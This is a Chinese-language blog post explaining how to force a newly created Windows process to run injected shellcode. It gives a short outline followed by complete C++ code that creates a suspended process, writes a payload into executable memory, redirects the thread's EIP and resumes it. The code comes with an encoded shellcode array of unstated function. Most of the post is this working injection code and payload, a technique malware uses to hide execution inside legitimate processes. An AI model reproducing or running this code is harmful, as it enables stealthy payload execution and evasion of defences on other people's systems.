C/C++ 强制让进程执行自己的 ShellCode

  • 实现原理
  • 首先,使用 CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 然后,使用 VirtualAllocEx 函数在新进程中申请一块可读、可写、可执行的内存,并使用 WriteProcessMemory 函数写入Shellcode 数据。
  • 接着,使用 GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文。并修改线程上下文的指令指针 EIP 的值,更改主线程的执行顺序。再将修改过的线程上下文设置回主线程中。
  • 最后,我们调用 ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运行,执行我们的 Shellcode 代码。

其中,当使用 CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表示新进程的主线程被创建为挂起状态,直到使用 ResumeThread 函数恢复主线程,进程才会继续运行。

其中,要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。

编码实现

#include <windows.h>
#include <iostream>
#include <tchar.h>

// 显示错误信息的函数
void ShowError(LPCTSTR lpMsg)
{
	TCHAR szBuffer[MAX_PATH] = { 0 };
	DWORD dwErrorCode = ::GetLastError();
	::FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), szBuffer, MAX_PATH, NULL);
	// _tprintf(_T("%s failed with error %d (%s)\n"), lpMsg, dwErrorCode, szBuffer);
}

// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	// 初始化一些结构体和变量
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT threadContext = { 0 };
	BOOL bRet = FALSE;
	::RtlZeroMemory(&si, sizeof(si));  // 清空结构体
	::RtlZeroMemory(&pi, sizeof(pi));
	::RtlZeroMemory(&threadContext, sizeof(threadContext));
	si.cb = sizeof(si);

	// 创建进程并挂起主线程
	bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (FALSE == bRet)
	{
		ShowError(_T("CreateProcess"));
		return FALSE;
	}

	// 在替换的进程中申请一块内存
	LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (NULL == lpDestBaseAddr)
	{
		ShowError(_T("VirtualAllocEx"));
		return FALSE;
	}

	// 写入替换的数据
	bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
	if (FALSE == bRet)
	{
		ShowError(_T("WriteProcessError"));
		return FALSE;
	}

	// 获取线程上下文
	// 注意此处标志,一定要写!!!
	threadContext.ContextFlags = CONTEXT_FULL;
	bRet = ::GetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError(_T("GetThreadContext"));
		return FALSE;
	}

	// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
	threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;

	// 设置挂起进程的线程上下文
	bRet = ::SetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError(_T("SetThreadContext"));
		return FALSE;
	}

	// 恢复挂起的进程的线程
	::ResumeThread(pi.hThread);
	return TRUE;
}

int main()
{
	// Example usage
	char* pszFilePath = "d://lyshark1.exe";
	char shellcode[] = "\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\x15\x7e\xb5\xbf\xcb\xd6\xbe\x6d\xfc\x53\x82\xad\xfd\xb3"
"\x88\x8d\x85\xb6\x4f\x79\x3a\xb8\x9f\xd1\x49\xf2\x07\x5a"
"\x15\x23\x39\x8f\x23\xea\x4d\x13\x1d\x12\xe4\xe0\x69\x67"
"\xf6\x20\xa0\xb7\x55\x0d\x0c\x3a\xa7\x4a\xab\xa5\xd2\xa0"
"\xcf\x58\xe5\x73\xad\x86\x60\x63\x15\x4c\xd2\x47\xa7\x81"
"\x85\x0c\xab\x6e\xc1\x4a\xa8\x71\x06\xe1\xd4\xfa\xa9\x25"
"\x5d\xb8\x8d\xe1\x05\x1a\xaf\xb0\xe3\xcd\xd0\xa2\x4c\xb1"
"\x74\xa9\x7f\xa4\x09\x52\x80\xc9\x57\xc4\x4c\x04\x68\x14"
"\xdb\x1f\x1b\x26\x44\xb4\xb3\x0a\x0d\x12\x43\x1b\x19\xa5"
"\x9b\xa3\x4a\x5b\x1c\xd3\x43\x98\x48\x83\xfb\x09\xf1\x48"
"\xfc\xb6\x24\xe4\xf6\x20\x07\x50\x0f\x36\xef\xa2\x10\x1f"
"\xff\x2b\xf6\x0f\xaf\x7b\xa7\xef\x1f\x3b\x17\x98\x75\xb4"
"\x48\xb8\x75\x1f\xe1\x53\x9a\xc9\x59\xcc\x03\x50\x11\x6d"
"\xcb\x4f\x5f\xad\x47\x65\x9f\x60\xa0\x0c\xb3\x95\xd7\xee"
"\x4b\x66\x72\xee\x21\x62\xd4\xb9\xdd\x68\x01\x8d\x41\x92"
"\x64\x8e\x86\x6c\xf9\xa6\xfd\x5b\x6f\x86\x69\xa4\x7f\x06"
"\x6a\xf2\x15\x06\x02\xa2\x4d\x55\x37\xad\x5b\xca\xe4\x38"
"\x64\xba\x59\xea\x0c\x40\x87\xdc\x92\xbb\xe2\x5e\xd4\x43"
"\x70\x49\x7d\x2b\x8a\xc9\x7d\xab\xe0\xc9\x2d\xc3\xff\xe6"
"\xc2\x23\xff\x2c\x8b\x2b\x8a\xa0\x79\xca\x8b\xe8\xdc\x52"
"\x8b\x1f\xc5\x65\xf6\x50\xfa\x86\x07\x79\x9f\x87\x07\x85"
"\xa1\xb4\xd1\xbc\xd7\xfb\xe1\xfa\xe8\x4e\x47\xaa\x62\xb0"
"\xdb\xac\xa6";


	DWORD dwReplaceDataSize = sizeof(shellcode);
	DWORD dwRunOffset = 0;

	if (!ReplaceProcess(pszFilePath, shellcode, dwReplaceDataSize, dwRunOffset))
	{
		// std::cerr << "Failed to replace process memory" << std::endl;
		return 1;
	}
}

posted @ 2021-07-16 10:15  lyshark  阅读(471)  评论(0编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园